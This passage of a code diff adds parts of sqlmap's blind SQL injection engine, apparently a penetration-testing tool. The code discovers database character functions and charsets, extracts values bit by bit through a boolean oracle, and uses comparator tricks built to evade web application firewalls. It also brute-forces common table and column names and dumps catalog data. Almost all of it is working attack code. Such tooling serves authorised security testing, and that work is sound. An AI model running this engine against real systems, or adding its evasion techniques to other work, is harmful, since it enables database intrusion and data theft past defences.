if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive
|
||||
continue
|
||||
byte_exact = True
|
||||
self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact)
|
||||
self.dialect.compare = "collation"
|
||||
self.dialect.ordered = True
|
||||
if not byte_exact:
|
||||
self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char "
|
||||
"constructor) - used for ordering, not exactness")
|
||||
return "collation:%s" % name
|
||||
|
||||
# 3) hex/byte function - collation-independent, recovers letter case even
|
||||
# under case-insensitive collations (the key fallback when code fns are
|
||||
# filtered by a WAF)
|
||||
for name, tmpl in _HEXFN:
|
||||
enc = self._hexEncoding(tmpl)
|
||||
if enc is not None: # '' = usable, codec unknown (auto-detect)
|
||||
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
|
||||
self.dialect.compare = "hex"
|
||||
self.dialect.ordered = True
|
||||
return "hex:%s" % name
|
||||
|
||||
# 4) direct string comparison - only trustworthy where the collation follows
|
||||
# byte order (probe the ASCII case/range invariants first)
|
||||
byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'"))
|
||||
if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one):
|
||||
self.dialect.compare = "ordinal"
|
||||
self.dialect.ordered = True
|
||||
return "ordinal"
|
||||
|
||||
# 5) equality scan - case-correct only under a case-sensitive collation
|
||||
if not self._ask("'a'='A'"):
|
||||
self.dialect.compare = "equality"
|
||||
return "equality"
|
||||
|
||||
# 6) last resort: case-insensitive equality. letters recovered, CASE LOST
|
||||
# (no code/hex function and a CI collation - a genuine hard limit)
|
||||
self.dialect.compare = "equality-ci"
|
||||
self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
|
||||
return "equality-ci"
|
||||
|
||||
# STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1,
|
||||
# !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary
|
||||
# (2>2 must be FALSE) and would then read every count/length/code off by one. Each
|
||||
# candidate must reproduce '>' at the equality boundary AND across zero and negatives.
|
||||
_GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False),
|
||||
(0, -1, True), (0, 0, False), (0, 1, False),
|
||||
(-2, -3, True), (-2, -2, False), (-2, -1, False))
|
||||
|
||||
def _provesGt(self, render):
|
||||
# render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches
|
||||
# strict '>' on EVERY truth-table row (equality boundary + zero + negative domain).
|
||||
try:
|
||||
for a, b, want in self._GT_TRUTH:
|
||||
if bool(self._ask(render(a, b))) != want:
|
||||
return False
|
||||
except OracleUndecided:
|
||||
return False
|
||||
return True
|
||||
|
||||
def _discoverComparator(self):
|
||||
# how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
|
||||
# (very common) would otherwise leave code-mode picking '>' and silently
|
||||
# failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
|
||||
# to order-free IN() subset bisection which needs only '=' membership.
|
||||
HUGE = 1 << 62
|
||||
try:
|
||||
if self._provesGt(lambda a, b: "%d>%d" % (a, b)):
|
||||
self._comparator = "gt"
|
||||
elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)):
|
||||
self._comparator = "between"
|
||||
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
|
||||
elif self._discoverOperatorFreeComparator():
|
||||
# picked an ordered (log2) comparator that needs NO comparison operator - see below
|
||||
pass
|
||||
else:
|
||||
self._comparator = "membership"
|
||||
self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection")
|
||||
self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)")
|
||||
except OracleUndecided:
|
||||
pass # keep the safe defaults (gt / IN-ok)
|
||||
|
||||
def _discoverOperatorFreeComparator(self):
|
||||
# Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN):
|
||||
# each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the
|
||||
# comparison operators. Each must pass the FULL signed truth table (not a 3-point positive
|
||||
# probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET
|
||||
# with lo==hi at n=-1) is rejected instead of silently misreading signed values.
|
||||
candidates = (
|
||||
("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS
|
||||
("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered
|
||||
("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once)
|
||||
("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering
|
||||
("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle
|
||||
("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB
|
||||
)
|
||||
for name, tmpl in candidates:
|
||||
if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)):
|
||||
self._comparator = name
|
||||
self._cmpTemplate = tmpl
|
||||
self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper())
|
||||
return True
|
||||
return False
|
||||
|
||||
def _charcodeSemantics(self, tmpl):
|
||||
# ASCII-only ROUND-TRIP: build a char from its code, then read the code back.
|
||||
# code(char(N))==N means extract-then-rebuild is faithful for N. no raw
|
||||
# non-ASCII byte ever crosses the URL/app/DBMS encoding layers.
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
code = lambda n: tmpl.format(expr=cf.format(code=n))
|
||||
try:
|
||||
if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9)
|
||||
return "unknown"
|
||||
if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it)
|
||||
return "codepage" # single-byte codepage only
|
||||
# a supplementary char proves full codepoint vs a UTF-16 code-unit fn
|
||||
# (SQL Server UNICODE() returns the leading surrogate for U+1F642).
|
||||
if self._ask("%s=128578" % code(0x1F642)):
|
||||
return "codepoint"
|
||||
if self._ask("%s=55357" % code(0x1F642)): # high surrogate
|
||||
return "utf16_unit"
|
||||
return "bmp_codepoint" # verified on BMP only
|
||||
except OracleUndecided:
|
||||
return "unknown"
|
||||
|
||||
def _discoverCharfrom(self):
|
||||
for name, tmpl in _CHARFROM:
|
||||
if self._ask("%s='a'" % tmpl.format(code=97)) and \
|
||||
not self._ask("%s='b'" % tmpl.format(code=97)):
|
||||
self.dialect.charfrom = Cap(name, tmpl)
|
||||
return name
|
||||
self.dialect.charfrom = None
|
||||
|
||||
def _discoverCharset(self):
|
||||
# ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a
|
||||
# boolean oracle can read directly (a huge advantage over passive byte-guessing, which
|
||||
# can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a
|
||||
# name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the
|
||||
# authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact.
|
||||
with self._probePhase(): # a wrong-family charset expr errors -> skip
|
||||
for expr in _CHARSET_PROBES:
|
||||
try:
|
||||
if not self._hasChars(expr):
|
||||
continue
|
||||
res = self.extractResult(expr, limit=64)
|
||||
except OracleUndecided:
|
||||
continue
|
||||
if res.value and res.exact:
|
||||
codec = _charsetCodec(res.value)
|
||||
if codec:
|
||||
self.dialect.charset = codec
|
||||
self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec))
|
||||
return codec
|
||||
return None
|
||||
|
||||
def _discoverIdentity(self):
|
||||
for kind, candidates in sorted(_IDENTITY.items()):
|
||||
for expr in candidates:
|
||||
# a valid identity expression has non-zero length; invalid -> error -> false
|
||||
if self._hasChars(expr):
|
||||
self.dialect.identity[kind] = expr
|
||||
break
|
||||
|
||||
def _discoverCatalog(self):
|
||||
for table, family, enum in _CATALOGS:
|
||||
if self._exists(table):
|
||||
self.dialect.catalog = table
|
||||
self.dialect.family = family
|
||||
self.dialect.catalogEnum = enum
|
||||
return table
|
||||
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _FREQ_ORDER
|
||||
from .atlas import _hardWarnings
|
||||
from .atlas import _PRINTABLE_SORTED
|
||||
from .atlas import _REPL
|
||||
from .atlas import _unichr
|
||||
from .records import Dialect
|
||||
from .records import ExtractResult
|
||||
from .records import OracleUndecided
|
||||
from .oracle import _OracleCore
|
||||
from .discovery import _Discovery
|
||||
from .extraction import _Extraction
|
||||
from .enumeration import _Enumeration
|
||||
|
||||
|
||||
class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
|
||||
"""DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern
|
||||
(oracle / discovery / extraction / enumeration); this class only holds
|
||||
construction + the query counter."""
|
||||
|
||||
def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1,
|
||||
maxbytes=None, max_queries=None):
|
||||
"""oracle: callable(condition_str) -> bool.
|
||||
quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or
|
||||
intermittently-erroring oracle can't flip a single probe and corrupt a
|
||||
result; retries re-attempts a raised call before it counts as an error.
|
||||
maxlen caps text characters; maxbytes separately caps byte/hex recovery
|
||||
(default 4*maxlen); max_queries is an optional hard oracle-call ceiling."""
|
||||
if not callable(oracle):
|
||||
raise TypeError("oracle must be callable")
|
||||
self.oracle = oracle
|
||||
self.verbose = verbose
|
||||
self.maxlen = maxlen
|
||||
self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes
|
||||
self.retries = retries
|
||||
self.quorum = max(1, quorum)
|
||||
self.max_queries = max_queries
|
||||
self.dialect = Dialect()
|
||||
self._queries = 0
|
||||
self._errors = 0
|
||||
self._hexProbed = False
|
||||
self._hexOrdered = None
|
||||
self._backslashEscape = None
|
||||
self._codeTmpl = None
|
||||
self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership"
|
||||
self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n}
|
||||
self._inOk = True # IN(...) usable (order-free subset bisection)
|
||||
self._lastTruncated = False
|
||||
self._discovered = False
|
||||
self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired
|
||||
self._castPreserves = None # cached: does the text cast preserve a canary accent?
|
||||
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
|
||||
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
|
||||
# committed data) an undecidable probe stays undecided so it degrades loudly
|
||||
self._progress = None # optional host callback(str) for live per-VALUE feedback
|
||||
self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER
|
||||
# feedback DURING a long extraction (so the user sees it working)
|
||||
|
||||
@property
|
||||
def queryCount(self):
|
||||
return self._queries
|
||||
|
||||
|
||||
def hostExtract(oracle, strategy, expr, maxlen=4096):
|
||||
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
|
||||
|
||||
Proof that the strategy is a sufficient hand-off: it reproduces char-by-char
|
||||
extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's
|
||||
`bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders
|
||||
through strategy.renderGt (the discovered comparator), so it survives a WAF that
|
||||
strips '>' exactly as the engine does, and length is measured via the length fn OR,
|
||||
when there is none, derived from the substring's end.
|
||||
|
||||
It covers the char-comparison modes (code / collation / ordinal / equality) with an
|
||||
ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered
|
||||
comparator) are NOT driven by this reference - it raises rather than silently
|
||||
emitting an operator the dialect declared unusable or returning wrong data.
|
||||
|
||||
Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string:
|
||||
an undecided host observation degrades to a FAILED result (never a manufactured bit),
|
||||
a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an
|
||||
UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity
|
||||
FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof."""
|
||||
HUGE = 1 << 62
|
||||
|
||||
def ask(cond):
|
||||
# STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything
|
||||
# else (None from a transport/undecided oracle) is NOT coerced to False.
|
||||
r = oracle(cond)
|
||||
if r is True or r is False:
|
||||
return r
|
||||
raise OracleUndecided("host oracle undecided: %s" % cond)
|
||||
|
||||
if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None):
|
||||
raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference")
|
||||
if strategy.comparator == "membership":
|
||||
raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)")
|
||||
|
||||
def _run():
|
||||
if strategy.length is not None:
|
||||
L = strategy.renderLength(expr)
|
||||
if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative
|
||||
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null)
|
||||
if maxlen <= 0: # non-empty but capped to nothing
|
||||
return ExtractResult("", complete=False, truncated=True)
|
||||
if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string
|
||||
return ExtractResult("", complete=True)
|
||||
lo, hi = 1, min(8, maxlen)
|
||||
while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)):
|
||||
lo, hi = hi + 1, min(hi * 2, maxlen)
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid)
|
||||
length = lo
|
||||
truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap
|
||||
# FINAL EQUALITY (as the native integer reader does): the comparator is proven only on
|
||||
# literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n)
|
||||
# converges off-by-one. Confirm the length directly, else fail closed.
|
||||
if not truncated and not ask("(%s)=%d" % (L, length)):
|
||||
raise OracleUndecided("host length failed final equality")
|
||||
else: # no length fn: derive from substring end
|
||||
exists = lambda n: ask(strategy.renderCharExists(expr, n))
|
||||
if not exists(1):
|
||||
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null)
|
||||
if maxlen <= 0: # non-empty but capped to nothing
|
||||
return ExtractResult("", complete=False, truncated=True)
|
||||
lo, hi = 1, min(8, maxlen)
|
||||
while hi < maxlen and exists(hi):
|
||||
lo, hi = hi, min(hi * 2, maxlen)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1)
|
||||
length = lo
|
||||
truncated = length >= maxlen and exists(maxlen + 1)
|
||||
|
||||
def read(pos):
|
||||
mode = strategy.compare_mode
|
||||
if mode == "code":
|
||||
code = strategy.renderCode(expr, pos)
|
||||
top = 0x10FFFF
|
||||
for cap in (127, 255, 0xFFFF, 0x10FFFF):
|
||||
if not ask(strategy.renderGt(code, cap, HUGE)):
|
||||
top = cap
|
||||
break
|
||||
a, b = 0, top
|
||||
while a < b:
|
||||
m = (a + b) // 2
|
||||
a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m)
|
||||
# FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code
|
||||
# fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by-
|
||||
# one even when the code fn is codepoint-faithful. Confirm directly, else fail.
|
||||
if not ask("(%s)=%d" % (code, a)):
|
||||
raise OracleUndecided("host code failed final equality")
|
||||
return _unichr(a)
|
||||
if mode in ("collation", "ordinal"):
|
||||
cs = _PRINTABLE_SORTED
|
||||
a, b = 0, len(cs) - 1
|
||||
while a < b:
|
||||
m = (a + b) // 2
|
||||
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
|
||||
return cs[a]
|
||||
for ch in _FREQ_ORDER: # equality scan
|
||||
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
|
||||
return ch
|
||||
return _REPL
|
||||
|
||||
value = "".join(read(i) for i in range(1, length + 1))
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if strategy.compare_mode == "equality-ci":
|
||||
warns.append("lossy equality collation: case/accents ambiguous")
|
||||
# WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point
|
||||
# semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a
|
||||
# rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed
|
||||
# against the source rather than trusted because the code fn is faithful.
|
||||
needs_verify = not truncated and _REPL not in value
|
||||
if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))):
|
||||
warns.append("whole-value verification failed")
|
||||
return ExtractResult(value, complete=False, truncated=truncated, warnings=warns)
|
||||
# mirror the native EXACT gate: without a proven byte-exact witness (hex / binary /
|
||||
# codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to
|
||||
# collation-dependent plain '=' which cannot certify byte-exactness.
|
||||
if value and not truncated and _REPL not in value and strategy.exact_witness is None:
|
||||
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
|
||||
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
|
||||
truncated=truncated, warnings=warns)
|
||||
|
||||
try:
|
||||
return _run()
|
||||
except OracleUndecided:
|
||||
return ExtractResult(None, complete=False, warnings=["host oracle undecided"])
|
||||
@@ -0,0 +1,906 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _BULK_AGG
|
||||
from .atlas import _COLUMN_SPECS
|
||||
from .atlas import _HEX_PAYLOAD_CODES
|
||||
from .atlas import _IDENT_QUOTE
|
||||
from .atlas import _KEY_SPECS
|
||||
from .atlas import _REPL
|
||||
from .atlas import _ROWID
|
||||
from .atlas import _ROWID_LITBOUND
|
||||
from .records import BulkResult
|
||||
from .records import Cap
|
||||
from .records import InferenceStrategy
|
||||
from .records import OracleUndecided
|
||||
from .wordlist import commonColumns
|
||||
from .wordlist import commonTables
|
||||
|
||||
_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away
|
||||
_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row
|
||||
# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
|
||||
_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
|
||||
|
||||
|
||||
class _Enumeration(object):
|
||||
"""_Enumeration
|
||||
|
||||
catalog walking + data dump: enumerate / columns / dump / bulk + row selection.
|
||||
When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the
|
||||
table/column listings fall back to brute-forcing common names (bruteTables /
|
||||
bruteColumns) so extraction works with zero schema knowledge."""
|
||||
|
||||
def enumerate(self, kind="table", limit=10, schema=None):
|
||||
"""Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect
|
||||
row limiter needed, and cost scales with `limit`, not catalog size. `schema`
|
||||
scopes tables to one database. Falls back to brute-forcing common table names
|
||||
when the catalog is unavailable/empty. For a full dump prefer enumerateBulk."""
|
||||
names = None
|
||||
if kind in self.dialect.catalogEnum and self._canPage:
|
||||
names = self.enumerateKeyset(kind, limit, schema)
|
||||
if not names and kind == "table":
|
||||
names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names
|
||||
return names
|
||||
|
||||
@property
|
||||
def _canPage(self):
|
||||
# keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with
|
||||
# neither, the catalog walk can't advance past the first row -> use brute-force
|
||||
return self._comparator in ("gt", "between") or self._inOk
|
||||
|
||||
def bruteTables(self, limit=50, schema=None):
|
||||
"""No/unreadable catalog: discover tables by existence-probing common names
|
||||
(COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know
|
||||
nothing about the schema' fallback, akin to sqlmap's --common-tables."""
|
||||
self.dialect.notes.append("catalog unavailable - brute-forcing common table names")
|
||||
found, tries = [], 0
|
||||
for name in commonTables():
|
||||
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
|
||||
break
|
||||
tries += 1
|
||||
qname = self.quoteIdent(name)
|
||||
if schema is not None:
|
||||
qname = "%s.%s" % (self.quoteIdent(schema), qname)
|
||||
try:
|
||||
if self._exists(qname):
|
||||
found.append(name)
|
||||
self._emit(name)
|
||||
except OracleUndecided:
|
||||
break # oracle wall - stop, keep what we have
|
||||
return found
|
||||
|
||||
def bruteColumns(self, table, schema=None, limit=100):
|
||||
"""No/unreadable column catalog: discover columns of `table` by existence-
|
||||
probing common names (COUNT(col) succeeds -> the column exists)."""
|
||||
qtable = self.quoteIdent(table)
|
||||
if schema is not None:
|
||||
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
|
||||
found, tries = [], 0
|
||||
for col in commonColumns():
|
||||
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
|
||||
break
|
||||
if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns
|
||||
continue
|
||||
tries += 1
|
||||
try:
|
||||
# probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare
|
||||
# column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would
|
||||
# pass every fake name), and the alias stops a candidate that is really a
|
||||
# KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe).
|
||||
if self._exists(qtable, col, alias="e"):
|
||||
found.append(col)
|
||||
self._emit(col)
|
||||
except OracleUndecided:
|
||||
break
|
||||
if found:
|
||||
self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found))
|
||||
return found
|
||||
|
||||
def _source(self, kind, schema=None):
|
||||
col, src, filt = self.dialect.catalogEnum[kind]
|
||||
clauses = [filt] if filt else []
|
||||
if schema is not None and "schema" in self.dialect.catalogEnum:
|
||||
scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1]
|
||||
# the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate
|
||||
# table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas)
|
||||
# so `name=<schema>` on sys.tables would match table NAMES - skip it, don't corrupt.
|
||||
if ssrc == src:
|
||||
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
|
||||
return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
|
||||
|
||||
def enumerateKeyset(self, kind, limit=10, schema=None):
|
||||
if kind not in self.dialect.catalogEnum:
|
||||
return None
|
||||
col, src, where = self._source(kind, schema)
|
||||
return self._keysetWalk(col, src, where, limit)
|
||||
|
||||
def _keysetWalk(self, col, src, where, limit):
|
||||
# page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row
|
||||
# limiter needed. the FIRST query is unbounded (a space/'' seed would skip
|
||||
# identifiers sorting below it). the DB does the ordering in its own
|
||||
# collation; Python only tests EXACT repetition (collation-invariant) - never
|
||||
# a Python `<=` ordering test.
|
||||
conj = " AND " if where else " WHERE "
|
||||
names, prev = [], None
|
||||
while len(names) < limit:
|
||||
if prev is None:
|
||||
expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where)
|
||||
else:
|
||||
beyond = self._beyondSql(col, prev, "text", seen=names)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)")
|
||||
break
|
||||
expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond)
|
||||
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget
|
||||
# probe (permission or charset wall) stops the listing with what we have
|
||||
try:
|
||||
if not self._ask("%s IS NOT NULL" % expr):
|
||||
break
|
||||
res = self.extractResult(expr) # complete-or-stop: a partial name is a bad keyset bound
|
||||
except OracleUndecided:
|
||||
self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
|
||||
break
|
||||
if not res.complete: # incomplete (truncated / unresolved / unverified) name is
|
||||
self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)")
|
||||
break # an unsafe keyset bound - a soft case/accent warning still passes
|
||||
name = res.value
|
||||
if not name:
|
||||
break
|
||||
if name in names:
|
||||
# revisiting an already-listed name (not just the immediate predecessor) means the
|
||||
# paging bound and the recovered spelling disagree - e.g. the keyset compare and
|
||||
# the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e...
|
||||
# Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates.
|
||||
self.dialect.notes.append("enumeration stopped: identifier %r revisited "
|
||||
"(paging/read-back collation mismatch) - list may be partial" % name)
|
||||
break
|
||||
if not res.exact and not self._nonExactNamesNoted:
|
||||
# the name paged correctly (the walk uses the engine's OWN collation, so a
|
||||
# case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT
|
||||
# proven - flag it, since a caller may reuse the name as an exact SQL identifier.
|
||||
self._nonExactNamesNoted = True
|
||||
self.dialect.notes.append("enumerated identifiers are case/accent-approximate "
|
||||
"(no byte-exact primitive) - exact spelling not proven")
|
||||
names.append(name)
|
||||
self._emit(name) # live feedback per discovered name
|
||||
if _REPL in name:
|
||||
# an unrecoverable char in the name can't form a reliable keyset bound;
|
||||
# stop rather than loop on a corrupt (or repeating) boundary
|
||||
self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name)
|
||||
break
|
||||
prev = name
|
||||
return names
|
||||
|
||||
def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None):
|
||||
# SQL fragment picking the next un-taken row for keyset paging, honoring the
|
||||
# discovered comparator so paging survives a blocked '>'. '>' pages by "sorts
|
||||
# after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages
|
||||
# text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges
|
||||
# any collation/sentinel guesswork). Returns None when none of these is possible
|
||||
# - the caller then stops with the rows it already has.
|
||||
lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND)
|
||||
if self._comparator == "gt":
|
||||
bound = prev if unit == "int" else lit(prev)
|
||||
return "%s>%s" % (expr, bound)
|
||||
if self._comparator == "between" and unit == "int":
|
||||
return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
|
||||
if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung
|
||||
return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>'
|
||||
if self._inOk and seen:
|
||||
lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
|
||||
frag = "%s NOT IN (%s)" % (expr, lits)
|
||||
# NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a
|
||||
# rendered-size budget, stop with a PARTIAL result + note rather than emitting an
|
||||
# ever-larger request (and never let one un-renderable literal poison the walk).
|
||||
if len(frag) > _MEMBERSHIP_PAGING_BUDGET:
|
||||
self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)")
|
||||
return None
|
||||
return frag
|
||||
return None
|
||||
|
||||
def hasTable(self, table, schema=None):
|
||||
"""Does `table` (optionally in `schema`) resolve? COUNT-free existence."""
|
||||
q = self.quoteIdent(table)
|
||||
if schema:
|
||||
q = "%s.%s" % (self.quoteIdent(schema), q)
|
||||
try:
|
||||
return self._exists(q)
|
||||
except OracleUndecided:
|
||||
return False
|
||||
|
||||
def tableSchema(self, table):
|
||||
"""Resolve which schema a table actually lives in, from the catalog. PG-family
|
||||
tables are commonly in 'public' while current_schema() is the login user's own
|
||||
(empty) schema, so scoping to the current schema misses them. Returns the schema
|
||||
name, or None if the catalog has no schema concept or the table isn't found."""
|
||||
ce = self.dialect.catalogEnum
|
||||
if "schema" not in ce or "table" not in ce:
|
||||
return None
|
||||
schemacol = ce["schema"][0]
|
||||
namecol, source = ce["table"][0], ce["table"][1]
|
||||
if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL
|
||||
return None # sys.schemas) - can't co-query it against sys.tables
|
||||
# prefer a non-system schema (a system table could share the name)
|
||||
excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
|
||||
"SYS", "INFORMATION_SCHEMA", "pg_toast")
|
||||
notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl))
|
||||
for tail in (notsys, ""):
|
||||
expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
|
||||
try:
|
||||
if self._ask("%s IS NOT NULL" % expr):
|
||||
res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT
|
||||
if res.exact and res.value:
|
||||
return res.value
|
||||
except OracleUndecided:
|
||||
break
|
||||
return None
|
||||
|
||||
def quoteIdent(self, name):
|
||||
"""Quote a target-supplied identifier (table/column) so reserved words,
|
||||
spaces, dots, or embedded quote chars are referenced safely. A name is an
|
||||
IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no
|
||||
quoting style was discovered."""
|
||||
q = self.dialect.identQuote
|
||||
if not q:
|
||||
return name
|
||||
return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
|
||||
|
||||
def qualify(self, table, schema=None):
|
||||
